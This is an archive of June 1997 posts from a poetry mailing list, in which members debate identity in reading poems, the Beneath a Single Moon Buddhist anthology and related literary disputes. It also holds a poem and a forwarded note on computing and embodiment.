don't go away--
Ripeness is all--smell

the posies on your way to work
isn't this fun

poetry's a lark
hey diddle diddle...& so on.

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853. **Kali Tal**
Re: Poems, identities and anthologies.
Fri 27 Jun 1997

> *A selection of locally-grown English summer species. Now, to return to David's post, he picks a personal florilegium for the ocassion of his writing.(The Latinate word for "anthology" is, like the Greek, etymologically derived from "flower" and "collection"). I thought David's post was delightful and important.*
>
> *Kali, however, has no time to waste on such nonsense. No, she writes that she "works hard" at her transcendence. She has also worked hard, of late, at articulating her position on identity politics, writing, sexuality, and indeed, her own status as a sane and rational person. Work all due to her initial rhetorical strategy where she equated David's response to poetry with the mechanical corporeally repetitive responses elicited by pornographic images. Yet, speaking of mechanical repetition, her profoundly alienated intellectual labour cannot allow a space for otium, and speaking of the pornographic image, her chosen analogy operates in the reverse too, revealing a mentality that regards the poem as a use-object.*

And what is it you are doing here? Let's take a look behind the curtain....

You choose a single image in Bromige's post, and use my failure to comment upon or engage with that particular image as the departure point for a construction of "Kali" (of my *identity*, rather than of my arguments). Then you use the (unresearched) identity critique to undermine the authority of my arguments rather than engaging with the texts *as* texts. That's a problem. If you didn't think an author's identity was important, than you would confine yourself to critiquing the texts on their own terms, *as* texts, and not draw conclusions about "Kali" *from* the texts. But if you *do* think the author's identity is important and that "identity" and "text" are separate (though perhaps related) objects/phenomena, then discussions of "Kali's" identity really need to be supplemented with extratextual information, which, in the immortal words of Sgt.-Major Alan Farrell (Ret.), "you have not got." But that's only your first problem.

By starting your description of me with the loaded term "nonsense," you create a character, a "Kali" with thin, pursed lips who, quite literally, can't stop and smell the flowers; a humorless automaton in sensible shoes, who "cannot allow a place" for life or color. It's a nice image, and it supports your very lovely essay on otium, but it's your own story and has little or nothing to do with either

the texts I have posted, or the "Kali" who sits behind the keyboard typing at you.

Your point seems to be that, while I *say* I am working hard on learning the sort of things that will help me transcend, I am ignoring the hard work and superior literary craftsmenship that goes into Bromige's transcendence. Your estimation seems to be that Bromige's transcendence is authentic, while mine is merely imagined. (How can a woman caught in *profoundly* alienated intellectual labor and doomed to mechanical repetition because of, presumably, a lack of imagination or sensitivity, ever hope to *really* transcend?) Finally, you wrap up your rousing condemnation of the "Kali" you've invented with the charge that she is, in fact, engaged in the very activity for which she criticizes others--jerking off with poetry.

It would be nice, if it weren't so logically flawed. I don't ask for logic in poetry. I ask for a lot of things, but not logic--or at least not the logic of clear assumptions, correct proofs and demonstrable conclusions. Those do, however, seem appropriate tools for debates on critical theory. And if that makes you think I wear sensible shoes, well, I'll just smile to myself as I look at my feet, clad in black and chrome, chain-draped Reebocks, with bullets hanging off of them (hollow point .38s which I picked up in a head shop on Hollywood Boulevard years ago--they were strung on key rings, and I couldn't resist buying them and clipping them on my rock'n'roll shoes).

Let's start with the fact that I never criticized Bromige's admittedly erudite and well-crafted prose. (I regret that I am unacquainted with his poetry, and I shall remedy that forthwith.) Though I did not find his post "delightful" (it is hard to feel "delight", even in good prose, when its premise is the denial of those things one finds crucially important and when it contains a personal attack), I did and do recognize that a wealth of experience and observation went into its writing. (A sotto voce murmur from the Bat Cave, "If only, Robin, he'd used his power for *good*.") So you've tossed a red herring into the tuna salad, and (maybe) distracted the audience from my real argument. Bromige had claimed the reader's equivalent to "Everything I Know I Learned in Kindergarten"; in short, he asserted that his initial readings were essentially pristine, fully formed, and revealed to him all he had to know about the author. *That* position is the one with which I took issue, and *that* position was the one to which I referred when I stated that *I* had to *work* at transcendence, that it was not a gift I received from the first-contact reading of a poem. The critique you offer is aimed at uninhabited terrain--there's nobody there to shell. Harrassment & Interdiction fire is only effective if it hits somebody.

> *Otium, like Mrs Dalloway's flaneuring, may be the historical privilege of the materially well-situated, but as an imaginative domain, it should not be negated. It is a sphere where poems are not assigned a*

> *restrictive use-value, where poems are not categorised according to their maker's identities in a perhaps theoretically laudable but quite mistaken act to counter the unfairnesses of this world. It is a sphere where the poems one returns to (the interesting poems) are without an objective, without an address.*

So we come to your claim that it is *I*, the wrong-headed "Kali Tal" (I am starting to visualize her as Major Barbara in the first act) who is truly a cog in the machine, a reducer of poetry to tool for (wo)man's use. (If I had a cape, I would twirl in it, looking back at you over my shoulder like John Lithgow does, through the doorway, eyes glowing, in that immortal film, _Buckaroo Bonzai_.) But since the assumptions you've made have been incorrect from jump street, the conclusion you draw doesn't remotely resemble anything recognizable. (I do so prefer representational argument to abstract argument.)

However, I *do* have a patent out on a mechanical poem-counter which sorts verse and drops it into appropriate containers based on assigned identity. I'm hoping that the automation process will allow me to fire my human poem-counters, streamline the identification process, and simultaneously increase my inventory while lowering my overall costs--raising the poetry profit margin.

Really, the otium essay could have stood on its own instead of on my head. It would have been more stable that way.

Kali

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854. **Mark Weiss**
Re: Poems, identities and anthologies.
Fri 27 Jun 1997

A brief corrective to a nice post. Jack Goody's explanation, below, seems to me insufficient. Those same cultures expend a lot of energy and material wealth on other forms decoration, and other hoe-farmers (sounds like The Beggar's Opera)--Polynesians, Melanesians, Amazonians--use at least wild flowers extensively, and this irrespective of the level of stratification of their societies.

> *"The absence of domesticated flowers in traditional Africa, except in some areas strongly influence by Islam, was linked to the level of agriculture and to the limits hoe farming placed on the emergence of heavily stratified cultural forms and in particular cultures of luxury, of differentiated styles of life that could develop the 'non-utilitarian', 'aesthetic' aspects of horticulture - or rather could develop crops not primarily oriented to food and war, but to religion, gift-giving and above all to beauty. [...] Nor yet did they make use of wild ones to any significant extent in worship, in gift-giving, or in decoration of the body [..] or in the domain of design or the creative arts." (The Culture*

> *of Flowers, Jack Goody, CUP, 1993).*

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855. **Aldon L. Nielsen**
Re: In the Uneven Footnotes of Hung Chow
Fri 27 Jun 1997

I have taken the liberty of forwarding recent list discussions to a friend on the VITRUE-AL list -- I reproduce here, without further comment, his reactions:

dear Aldon:

I appreciate your forwarding the recent debates among Johnson, Weinberger, Lew, Brink et al. I hope you don't mind, but I shared these posts with some friends of mine of the DIRTSTAMP-ILL list -- here are a few of their responses:

Amos: What the hell are these people talking about? Some editor didn't know any Asian-American Buddhist poets, so he, in effect, created one. What's the big deal?

Andy: Let me get this right. Somebody complained because Americans don't read enough poetry in translation. So, when a bunch of Americans accepted some poems they thought WERE in translation this was because they hadn't read enough poetry in translation, because American university students spend to much time reading literary theory in translation.

Kingfish: Trust Andy to get it all wrong. Foucault, who writes exclusively about sex, has caused American academics to lose all sight of literary excellence, and this, in turn, has caused the editors of several American journals, some of whom have not even been to graduate school for god's sake, to accept as real some poems by my dear frined Araki Yasusada. This happened because people in the academy don't even want to read poetry any more, so they are quick to accept poems as terrible as Araki's, because they don't recognize that Araki, in his terribleness, is subtly calling into question the important role played by bad verse in establishing our standards of merit. This event calls attention to a crisis: editors today see "social representation" as more real than aesthetics, despite the fact that they spend so much time reading mysterious foreign texts on aesthetics, so, to make sure that everybody else joins them in their hatred of poetry reading, they publish Araki's bad poems as a means of discrediting the entire potry world.

Mason Jordan Mason: I can't believe you guys are even responding to this. Let the buffaloes stamp the dirt and charge the CAPTIOUS-L list all they want --

Hung Chow: Who the hell is David Bromige and why is he saying such terrible things about me?

There were many more contributions, but I don't imagine you care to hear further from people who can't be bothered to engage you directly. Please pass this little bit on to your POETICS list, but don't give anybody my email address; I'd hate to start getting mail from THAT bunch. They keep breaking into stanzas in mid-argument, and who needs that?

Your brother,
Ern Malley

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856. **Stephen Scobie**
Re: Idenity of the poet/Hey! other mind here
Fri 27 Jun 1997

> *Now, it's funny to hear that he was knocked down by Hemingway. Its funny because its so inappropriate. Its funny like a mattress on a bottle of wine.*

David, just wanted to let you know that at least one reader of the list picked up and appreciated the literary allusion.

Stephen

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857. **Stephen Scobie**
Re: More Naropa Readings
Fri 27 Jun 1997

> *After this Cole Swensen read, largely from her work-in-progress "O," a cycle of poems about the ways women die in opera (based in part, I gather, from the work of scholar Catherine Claremont -sp?).*

Catherine Clement: "Opera, or the Undoing of Woman." University of Minneapolis Press, 1988.

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858. **Thomas Bell**
Re: body-as-text discussion
Fri 27 Jun 1997

Some quotes from _Utne's issue on the "real" as latest most in:

"Cyberlife leads to disembodiment, the exact opposite of what the culture needs," - Suzi Gablik

"Ray [Paul] concludes 'cultural creatives' demand that all the pieces of their lives fit together to create an authentic whole...one that merges the best of modernism and traditionalism, embraces both East and West..."

but "We need to mount a spirited defense of our right and power to seek our own realities." Jon Spayde
tom bell

At 05:26 AM 6/27/97 -0400, you wrote:
>hi buffalo-l-er's---------
>i don't think alan sondheim would mind if i
>forwarded this post of his to the fop-list
>made an hour ago--------
>it bears relevance to the "body-as-text' discussion
>proposed by kdawn earlier----
>out--------
>peter ganick
>
>>To: [redacted]
>>From: Peter Ganick <[redacted]>
>>Subject: Re: E-Minds Discussion
>>
>>>Sender: FOP-L <[redacted]>
>>>From: Alan * Sondheim <[redacted]>
>>>Subject: Re: E-Minds Discussion
>>>To: Multiple recipients of list FOP-L <[redacted]>
>>>
>>>I'm curious - with your computing skills and equipment - what are your
>>>ultimate goals - what do you want to do?
>>>
>>>I find myself constantly having to pare back, for example, ignoring C++ in
>>>order to concentrate on the languages I know to some extent, and can use.
>>>With essays, I try to read things that are sent me within three days; if
>>>not, I have to expunge them.
>>>
>>>I move from one operating system to another; I feel I have good knowledge
>>>of linux and Win95, poor still of Mac, but getting there. I'm getting
>>>close to 250 - 300 messages a day.
>>>
>>>I want to feel I'm within the internals of the machine, and understand the
>>>psychoanalytical and philosophical ramifications of technology. I want to

>>>do this without disregarding the body, or its splitting re: issues of em-
>>>bodiment and virtuality - and I don't want to go for simplistic answers
>>>(which usually carry the day). I try to keep up with "the literature" as
>>>best I can; much of it seems anecdotal (this is what a MUD does) or naive
>>>(cyber-relationships are/aren't "real").
>>>
>>>Since I'm not institutionalized, I can rarely go to the conferences I've
>>>applied to, to present a paper; there's no money. Since I can't go to the
>>>conferences, the feedback on my work is minimal, so I have to conduct im-
>>>aginary conversations - _here_ I'm naive, _there_ I've maybe made a point.
>>>Although I do get into print (off or online) often, there's no real com-
>>>munity of discussion surrounded my work, so these dialogs get increas-
ingly
>>>psychotic.
>>>
>>>Beyond this, I remember when I began thinking through these issues in
the
>>>70s (I did something called The Structure of Reality then, which I still
>>>refer to), I figured I wanted to work on the mediation of mind and world
>>>vis-a-vis formal and informal systems - and how this mediation constructed
>>>or was constructed by/for mind. And I've remained fastened on this to the
>>>present.
>>>
>>>With your work on your computers, adding programs (I remember you
talked
>>>about all the Network monitoring addons for Win95 you downloaded), I
won-
>>>der where your interest lies, what your goals are? And I'm sending this to
>>>the lists, since I'm curious about others' configurations as well.
>>>
>>>(For myself, I've stabilized linux and the Mac and Win95 configs, as well
>>>as my Win 3.+ stuff, so they're functional and somewhat interoperational;
>>>with the Mac, I've clumsily looked at Applescript, backed out a bit, and
>>>do most of my experimentation on linux, either RedHat or Slackware varie-
>>>ties. And I still feel that one needs at least some of this in order to
>>>understand TCP/IP or other protocols, to understand the Net in general,
>>>beyond the user interface. For the user interface is always a system, as
>>>Richard MacKinnon might say, of governance, and there's protocol and
gov-
>>>ernance all the way down, and we had better look at it.)
>>>
>>>Alan, musing

>>>
>>>
>>>
>>>URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html
>>>MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt
>>>IMAGES: http://www.cs.unca.edu/~davidson/pix/ TEL [redacted]
>>>EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE
>>>
>
>

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859. Karlien van den Beukel

Re: Poems, identities and anthologies.

Fri 27 Jun 1997

On Fri, 27 Jun 1997, Henry Gould wrote:

> Are you saying that because Kali's background is in African-American lit,
> and because an authority says flowers weren't important in African
> cultures [debatable, I'm sure], this will motivate her to oppose
> the "floral" anthological otiose element in poetry?
>
>
As you will notice from Kali's post (which I would like to think about before replying) she ignored the suggestion as have you it phrased above. I am sure she sees through the etymological sleight of hand, as you do.

If you are interested in African cultures (as opposed to African-American culture and I am sure I have made the difference clear, at least obliquely by pointing out the relationship between Woolf's Mulberry the florist's flowers, Zukofsky's "80 flowers", and their respective geographical locales)could I add that "the authority", Jack Goody, postulates that in African cultures (for argument's sake we will allow him the homogenisation) "the flower is a prelude to a further end, to the fruit or the grain, never a thing in itself. That notion implies a less autonomous, more contextualised aesthetic, a more holistic, less dichotomised view of nature." It is up to you to make of that development what you will.

Karlien

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860. **Maria Damon**
Re: Idenity of the poet/Hey! other mind here
Fri 27 Jun 1997

At 8:16 AM -0400 6/27/97, hg wrote:
>David Bromige's long defense of poetic/reader/relativity/seductivity/autonomy
>certainly rings true. On the other hand, there's a certain passion for
>the truth, allied to curiosity, which motivates us to see THROUGH the
>masks, keep sharpening the focus. What charmed the adolescent reader
>no longer delights (not in every case, but many). & no, it didn't matter
>where Mick Jagger came from when you first heard the Stones; but
>then you heard Robert Johnson's version. Not that one is necessarily
>better than the other; they just bring to mind different histories.
>This is partly what I understand Kali to be talking about.
>- H. Gould

yes indeed, i read it this way too. when students chafe at the concept of context in understanding a work (and note, d tessitore, i sd context and not identity, the latter being one element of the former), i point out the obvious example of ann frank (have i sd this before on this list?). though she's a bright, gifted teenage girl under any circumstances, the fact that she wrote while concealed for 2 years in an attic because she was jewish, and was eventually captured and died of disease on the eve of liberation, does make a difference in our reading. it does bug me when she's held up as an example of "hope and courage" and people quote that old "in spite of everything i still believe that people are good at heart" --look where that got her. she did what everyone did then. but it can't be denied that her work is valuable as a document of identity politics of the most dramatic sort. not because she writes "i'm jewish i'm jewish," but because her identity has everything to do with her fate, and the reception of her work. should it? why not?

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861. **Maria Damon**
the single moon
Fri 27 Jun 1997

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i would just like to comment briefly on one of the issues in this Buddhism/racism thread. it's still not clear to me why no Asian Americans were represented in the anthology; surely, if some knew of the anthology but "chose not to" submit material, it would be instructive to know why. one of the ways institutional racism works --not personal prejudice, so don't misunderstand this as an ad hominem --is that, if it isn't conscientiously and fairly constantly addressed, it takes over. in other words, if there was no active attempt to recruit

the works of Asian Americans, it is not surprising that it was an all-white affair. i'm finding this out from organizing this conference. i can easily see that unless i do something active to take control --i.e. if i just relied on "calls for papers" -- we won't get much of a cross-cultural swathe at all! so i'm not bashing anyone, or at least not exculpating myself. just pointing out the entropic (?) nature of hegemony.

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862. Eliza McGrand- CVA Guest

masturbation and appropriate texts to be studied

Fri 27 Jun 1997

---

the bits dropped on both topics puts me in mind of something ...

at a certain point in my career, i had a roomate who had a number of what would in many circles be defined as hard porn magazines, a partner who gave me several such texts, and access via a few other means to more. i got kind of interested.

most of what i looked at was the playboy and beyond vintage magazine. and there were a number of recurrent threads. one was that the males in the sexual encounter stories most often had horrific self-images, as constructed in the texts. they were generally physically off in some way, were interrupted in their discourse frequently, frequently said things that were contradicted and/or proven wrong, and were, in general, just plain nebbishes.

and the females, though sexually available, were often scornful!

what i think i picked up from that was that in order for the versimilitude to be of enough magnitude to engulf reader in text, text had to contain reality as readers experienced it, i.e. if they were lost enough to be reading such magazines, male figures in magazines had to be losers as well in order to be believable. women had to be scornful, becasue anyone reading such a magazine should be scorned. it may go deeper than reader/at/reading interaction -- men may in general feel like losers and only encounter scornful women at such juncture as they would read such magazines...

those i knew with magazines were in pretty bad shape except for partner, who gave them to me as part of erotic play. the latter is perhaps a bit personal but hey, we've all donned the rubber chicken suit and thrown the naked spuds at one time or another except for bowering who does it constantly, and as he alleges, bromige, who does it but blames bowering... e

↑ Index

863. **Maria Damon**
Re: weinberger
Fri 27 Jun 1997

---

i feel the need to respond to one of mr weinberger's comments. he attributes all of walter lew's critiques to "self-promotion at any cost." i must take exception to this. i do not know weinberger, but i've known walter for over 20 years. he's many things, but self-promoting at all costs he's decidedly not. i've known him to turn down promotional opportunities others would have killed for because he didn't feel his work was ready. why this ad hominem?

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864. **Maria Damon**
Re: More Naropa Readings
Fri 27 Jun 1997

At 12:52 PM -0500 6/27/97, Pritchett,Pat @Silverplume wrote:
>Last night Naropa offered an embarrassment of poetic riches.
...
>After this Cole Swensen read, largely from her work-in-progress "O," a cycle
>of poems about the ways women die in opera (based in part, I gather, from
>the work of scholar Catherine Claremont -sp?)

wish i woulda bin there, as they say in te upper midwest. it's catherine clement (said a la francaise). instead, tho, i'm on the cape enjoying my life and my body for the first time in months. i love summer, i love the ocean, i love the east coast. yay!

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865. **Rebecca Weldon**
Identity
Fri 27 Jun 1997

I must apologise for my facetious remarks concerning the orient (I meet too many Orientalists out here). The questions of identity are quite serious and merit discussion.

Kali Tal's Haitian dilemma is experienced everywhere in some form or another. I think that in this small world one can pretty safely operate on the premise that no one is who or what they seem at first meet. Little Red Riding Hood didn't recognize the wolf did she? The difference between life and a fairy tale is that we hope to live in a society which gives us a running chance before being devoured (not to say that life is full of wolves, indeed, I have found the opposite to be generally true).

I live halfway around the world and would not recognize any of you if you walked into my garden, however, a conversation might reveal your identity. I hope you wouldn't become upset by my trying to find out who you are, because I like to know who is walking in my garden. Were you lost, I would help.

We have a special kind of identity here in this list. We wander in and wander out and are known through our words. Each of us brings different experiences to the poetic forum; I marvel at the richness of your world. Perhaps you would marvel at mine, it enriches identity, and impells me to write. Writing is the reason I'm here.

I dream the cliff
a road without length, a meal without hunger
dark is dark rain is rain cold is cold
awake I walk the cliff
moon expires in silent arc
alone I walk the cliff
stars dim in azure sky
fog haunts descending streams

I stand the cliff and
sun rims behind the ridge
pausing in prayer
pausing still, welling still at cliff's edge
until a molten ray escapes
exploding crystals in the air
splitting diamonds in the fields
funnel spider silken webs
spinning facets catching light
sky a rush of sky blue
air a crackling icy breath

I am at cliff's edge with memory and dawn
final forest wide awake
eyes are birds and flowers
fog breaks in silver form
final am I
a cliff at dawn

(from Ruins, in progress)

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866. **armand schwerner**

Western Budhism, Dean Brink, Kent Johnson and George Thompson

Fri 27 Jun 1997

George Thompson writes:

<<I had meant to stay away from this thread, but...

Having myself been a member [tho a marginal one, to be sure] of "the venerable" American Oriental Society, having attended its conferences and published in its journal, I suppose that I might be considered an Orientalist.

I don't like the term and have never applied it to myself, and whenever the subject of Said's sense of "orientalism" comes up among the staid philologists with whom I serve my time, I find myself siding with him.

But that doesn't make any difference. Here I am attempting to pass myself off as a "specialist" in the earliest form of Sanskrit, so-called language of the gods, a language sacred to Hindus, both in India and right here in the States too [many of them]. Very presumptuous. Very orientalist. Frequently very offensive,

My reading of Dean Brink's attack against Kent Johnson [given that I don't know what came earlier, and I don't know Johnson's anthology, I have to say: *but* I do know orientalism] is that Brink is trying to push his way into a position to be an "authoritative interpreter" of Buddhism and Japanese poetry for the relevant audience. In order to do this, of course, he has had to discredit his predecessors. And he has done so by pinning exoticism, new agism, and even racism on them.

I think that Kent Johnson has defended himself very well against Brink's attacks. He's made it clear, to me at least, that Brink is attacking a straw man [or perhaps a 'theoretical' man], without really having examined carefully either Johnson or his anthology.

Look, as others have already suggested, Buddhism is a tradition that began in India and has moved very skillfully and gracefully across *all kinds of* cultural borders and across many centuries. That it has taken hold among American poets now may not be so much a sign of their paternalism and consumerism, as much as it is a sign of the resilience of the Buddhist message, which, by the way, Dean Brink has no authoritative claim on, whatsoever.

Certainly I cannot see how anyone can say that Buddhism is a product that the Chinese or the Japanese *alone* can speak for. And if Asian Americans who are also Buddhists want to speak up for Buddhism, then they should speak up. Instead of trashing other Buddhists.

idam agnaye, na mama [Vedic for "this is for the fire, not for me"] >>

George Thompson's posting seems to me a reasonable response to Brink's intemperate and unfocussed assault on Johnson and Paulenich's Beneath a Single Moon. Of the numerous postings concerning themselves with the Brink/Johnson conversation, few zero in on the material included in the anthology. I will attempt to do so below by citing a brief excerpt from my essay in BaSM. David Israel does deal with particulars when he reacts to Brink's comments about Gary Snyder's "The Canyon Wren." The poem's not in BASM, but Israel's observations hold good for more than just this one poem:

Brink: << As a random example I opened Snyder's _No Nature: New and Selected Poems_ to "The Canyon Wren," which cites Dogen (a major figure in the founding of the Japanese Soto sect of Zen Buddhism) and concludes:

"We beach up at China Camp
Between piles of stone
Stacked there by black-haired miners,
    cook in the dark
    sleep all night long by the stream.

These songs that are here and gone,
Here and gone,
To purify our ears."

An exotic image of Asia and Asians figure large here, no? >>

Israel: <<NO, rather, an image of camping out in California. True, the poet's manner of approaching (seeing -- articulating about) the campground is informed by his thinking-through of a contemplative (and literary) tradition -- but what distinguishes these lines it the radical attempt to make all that his own, to discover the source of the weave in his own life & experience and in the world of his immediate surround. The "nature images" are not Asian -- they're of what the poet literally saw in front of his literal nose. The imagination that organizes them as observation & recollection & thought -- is an imagination that has digested Buddhist traditions and sought to find the source of those traditions in the world (outer and inner) that is literally in front of the poet's nose. I don't happen to know where "China camp" is located, but I'll bet you five bucks it's not in China.

What -- for me -- distinguishes Snyder from (maybe) some prior generations of travelers-to-the-east (though that'd need to be looked at carefully) is his interest (everywhere evident) to integrate Asian studies with his own lived experience. I'm sure this is related to what bugs you about him -- and don't right now seem to know how to properly elucidate or distinguish the difference between what you feel he's up to, and what I find he's embarked on, except to note that -- as in the above -- his endeavor is to walk down a parallel line with forebears in a tradition, not simply to borrow words & phrases. The "to purify our ears" line is,

seems to me, a specific allusion from Chinese poetry -- which I can't seem to call up in its particularity. Oh yes. Something about one of those legendary sage figures in Chuang Tse who, when he was approached by those from the outside world with the plea to help run the government, responded by washing his ears in the stream -- to wash out the very notion of getting entangled in ruling others (rather than quietly seeking his own course under heaven). It's actually a pre-Buddhist image from Chinese literature, to tag it at its origins, -- at least that's my sense of that line; one could perhaps check with Snyder to see if he recalls having the Chuang Tse passage in mind when he wrote it. Chuang Tse -- sure it's Asian in its origins, but Snyder is imagining himself into a rapport with many strands of contemplative tradition, and I don't find his manner of doing so offensive, nor quite understand why thinking through a line from Chuang Tse is more suspect than thinking thru a line from, say, Socrates. It's simply a question of imaginal affinities -- so important to any poet, no?>>

I was a very strong backer of Kent's while he was producing Beneath a Single Moon and am very pleased that he says in his Acknowledgements: "The caring advice and counsel of Armand Sckhwerner...has been invaluable." I announce my bias immediately. I'm not an uninvolved commentator here, and for all I know may yet be pointed to by this or by another Dean Brink as an unindicted co-conspirator. Kent has already set forth on this list his and Paulenich's rationale for inclusions:

<<...the anthology has rather specific parameters for inclusion that actually have little to do with our editorial "aesthetic values"! That is (and read carefully here, please) we only considered for inclusion those poets who were known to have a background in Buddhist study and practice. (tho we were not doctrinaire about the definition of those last two terms, and I would say actually that any "second edition" would definitely want to be more rigorous about those parameters.) The poets, through their affiliation with Buddhism, "selected themselves," and then we allowed them to select their own poems! Paulenich and myself were largely modest and non-judgemental compilers.

Aesthetic values? Any cursory look at the book will show that it is one of the most aesthetically eclectic poetry anthologies ever done, and this is one of its interesting points...>>

I contributed to BASM poetry as well as an essay on my experiences with Buddhist practice and teachings. I bracket, in the context of this posting, the essay's comments concerning my grateful debts to those practices and teachings, referring here only to complex, painful particulars--followed by some ensuing generalizations--inextricably intertwined within my life in Buddhism. And it seems to me that my questions and difficulties with teachings and teacher and

hierarchies and importations and naturalizations largely represent the pervading spirit of many BASM inclusions. Dean Brink's comments to Kent Johnson,

"What rings as being in "bad faith" [in BaSM] is the appropriation of an image of Asia that exists for the pleasure of the poet."

Kent Johnson writes in response:

"... what I find in "bad faith," Dean, is your apparent assumption that the poets in the anthology are appropriating "an image of Asia" through the mere fact of their being in an anthology of Buddhist poets!"

In fact, Western Buddhists' often troubled and sometimes agonized attempts to re-root their Asia-derived practice within a Western soil have often resulted in more equable, democratic and gender-neutral practice-societies, concerned to extirpate racist or malign or manipulative attitudes, concerned to understand category-errors and hierarchical fiats experienced as perhaps illegitimate. Given the idiosyncratic power relationship traditionally crucial between teacher and student, Western Buddhists must see as roundly as possible, extra eyes at the back of their heads.

In these connections, I cite from my BaSM essay, "Notes on a Life in Buddhism," aware that even such a title runs the danger of reification:

"We're often taught--and we often come to believe that we understand--that the achievement of the state of true studenthood depends upon the capacity to transcend the unenlightened fear of pain, the capacity to experience the workings of faith, grace, and seminal confusion. We think of Milarepa, who was able in his cave to dispel the demons of the mind, seeing that they were merely the demons of the mind. Thus we know that skeptical questioning may help to protect against some disease.

Item--Sometimes what we had finally come to accept as our own projection upon the teacher yields to the realization that our dark mind-edgers had some merit.

Item--The dark hints are the projections of the subject.

Item--The student considers himself "thingified" by his teacher.

Item--It's frightening to be a student.

Item--To be a student requires courage.

Item-It's crucial to find the right teacher.

Item--It's extraordinarily difficult to find the right teacher, more difficult than finding the true lover.

Item--Finding the right teacher, though absolutely crucial, may be impossible.

Item--The teacher, like the unrealized but latent state of the poem, attracts the devotion to the *uncanny.*

Item--Freedom is a necessary condition of studenthood.

Item--The teacher is transparent.

Item--The student experiences the teacher as opaque until he no longer needs to do so.

Item--Thus the teacher is the object of all the student's projections.

Item--The teacher might be contributing to the process eventuating in some of the student's projections.

Item--The teacher is not a psychoanalyst.

Item--The student should not conflate spiritual and psychoanalytics functions.

Item--The student must come to recognize the teacher's idiosyncracies.

Item--A spritual community rarely furnishes the means for differentiating between the teacher's idiosyncracies and his spiritual function.

Item--The teacher identifies the student's realization and authenticates the student's realization!

Zen, like poetry, stresses that ultimately all conceptions are misconceptions--which is not to say there is something "wrong" with conceiving, but that a hammerlock on an idea serves neither process nor the growing perception of the boundedness of ideas.... The faith that moves mouintains is implicated in the appearance of poems and also invents tshe teacher; we live among others, and our lives are a compound of ever-new appreciations relating to the blessings of confusion, to trust, to aloneness, and to the nature of the "real," the naming of which undoes presence. One of the powers of Buddhism, like that of Blake and Marx, is its insistent signaling of the human tropism toward reification and of the suffering this tendency generates."

Armand Schwerner

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867. **George Thompson**
Re: individual yuck
Fri 27 Jun 1997

> *I've been asking myself is there a Mandel/Bromige divide? Tom yucks over "the primacy of the reader," but I only assented to this description of my position (by whom excuse me for forgetting) because it could fit with my belief in "the primacy of the poem" (and this phrase, in turn, is only in an effort to distinguish how I read poems, from "the primacy of the author".) With Bowering & Mandel, I concur, the trouble we have reading _The Iliad_ is only like the trouble we have reading God : after the footnotes, we'll just have to make up our own minds. (Neither of them said anything like that. Still, I think I concur with what they did say.) David*

Well, I myself am glad that _The Iliad_ and God finally got brought up, since I too have been thinking about them [not that I know personally the author of either, I hasten to add]. But readers of both will know, a little, what it is like to read the old hymns that I read, whose authors are for the most part nothing but names to us [though sometimes barely distinguishable from the gods they sing of].

These old poets were not anonymous, then. and in fact some of them got their names from their poems [more precisely from a prominent word or phrase in their poems]. So in this tradition instead of referring to Wallace Stevens, we refer to the "Emperor of Ice Cream Poet" and to the cycle of poems attributed to him. We don't in general have access to his/her incidental collisions with the likes of Hemingway [who not being a Brahmin never would have been permitted at the rituals in any case]. I happen to like this custom of naming poets after their poems, though I wouldn't base a theoretical position on such a preference. Too orientalist, perhaps.

In fact, it seems to me that the Bromige / Tal brouhaha might best be seen as a matter of personal [and other sorts of sometimes lewd] preference. There are many different types of poetry, and many different types of readers and authors and identities and cultures and contexts, etc. And saying so isn't trivial. For each of these differences marks a different function that poetry can and in fact does serve. *Many* different functions. And nobody has ever encompassed them all. Nobody. Whatsoever. No way.

This is not a plea for multculturalism [though that is certainly something to plead for]. It is a call to recognition of our actual situation[s]. It is a recognition that breeds tolerance, I think.

Having enjoyed this thread [which, like poetry, has helped me to forget this obnoxious humidity: yet another function, and one not to be taken lightly...],

George Thompson

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868. **Daniel Zimmerman**
Re: the single moon
Fri 27 Jun 1997

Maria Damon wrote:
>
> i would just like to comment briefly on one of the issues in this
> Buddhism/racism thread. it's still not clear to me why no Asian Americans
> were represented in the anthology; surely, if some knew of the anthology
> but "chose not to" submit material, it would be instructive to know why.
> one of the ways institutional racism works --not personal prejudice, so
> don't misunderstand this as an ad hominem --is that, if it isn't
> conscientiously and fairly constantly addressed, it takes over. in other
> words, if there was no active attempt to recruit the works of Asian
> Americans, it is not surprising that it was an all-white affair. i'm
> finding this out from organizing this conference. i can easily see that
> unless i do something active to take control --i.e. if i just relied on
> "calls for papers" --we won't get much of a cross-cultural swathe at all!
> so i'm not bashing anyone, or at least not exculpating myself. just
> pointing out the entropic (?) nature of hegemony.

Maria, I've read the Buddhism/racism thread with interest and, I hope, with sufficient disinterest since it began, and have resisted comment until now. Not that I find what you've said "offensive" or deserving of such a pejorative; indeed, the question you raise about "institutional racism" certainly deserves attention. However, it seems to apply more to "real" institutions [e.g., publishers] than to editors--especially if the editors have, like Johnson and Paulenich, put out general and public calls for the sort of work [not work from the sort of people] they'd like to consider for publication in anthologies. Of course, as you say, "if some [Asian Americans] knew of the anthology but 'chose not to' submit material, it would be instructive to know why." But the "why" might [easily] not entail racism, institutional or otherwise, and to imply that it [very well] might appears to involve a slippage from possibility to probability, from correlation to cause. When you say that "from organizing [a] conference [,] i can easily see that unless i do something active to take control --i.e. if i just relied on 'calls for papers' --we won't get much of a cross-cultural swathe at all," it seems to me you take upon yourself too much of a burden: if Asian-[or any other hyphenated]-Americans choose not to respond to a 'call for papers,' you might feel disappointed, but you shouldn't kick yourself. You can just as easily 'become what you behold,' as Blake would say, by opposing it unwisely or ineffectually [when it involves rebuking yourself for not having done 'enough' to

combat its excesses] as by acceding to it passively. Beyond pointing to attachment as the cause of suffering, Buddhism, as I understand it, declines to assign blame. If Asian-American Buddhists ignored the call for submissions to the _Beneath a Single Moon_ anthology, they have no one but themselves to blame [but why would they? & have they, or do we merely witness a passle of white folks here worried that they might? & if they might, so what? have editors no right to their own taste? how many rejections slips have you received without comment? how many have you attributed to racism? to sexism? to just plain stupidity? must every public action obsessively make amends for the sins of racism, institutional or otherwise?]. You say that "if there was no active attempt to recruit the works of Asian-Americans, it is not surprising that it was an all-white affair." I'd rather say that if the call for submissions appeared in a sufficient number of public places, it seems surprising that no Asian-American Buddhists responded. That's their problem, not Johnson's & Paulenich's. This impulse to go overboard to defend the interests of the oppressed & excluded appears to me not very far from the imperialist attempt to 'rescue' the heathen. Tat tvam asi. Dan Zimmerman

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869. Stephen Cope

Personal info. - New Address

Fri 27 Jun 1997

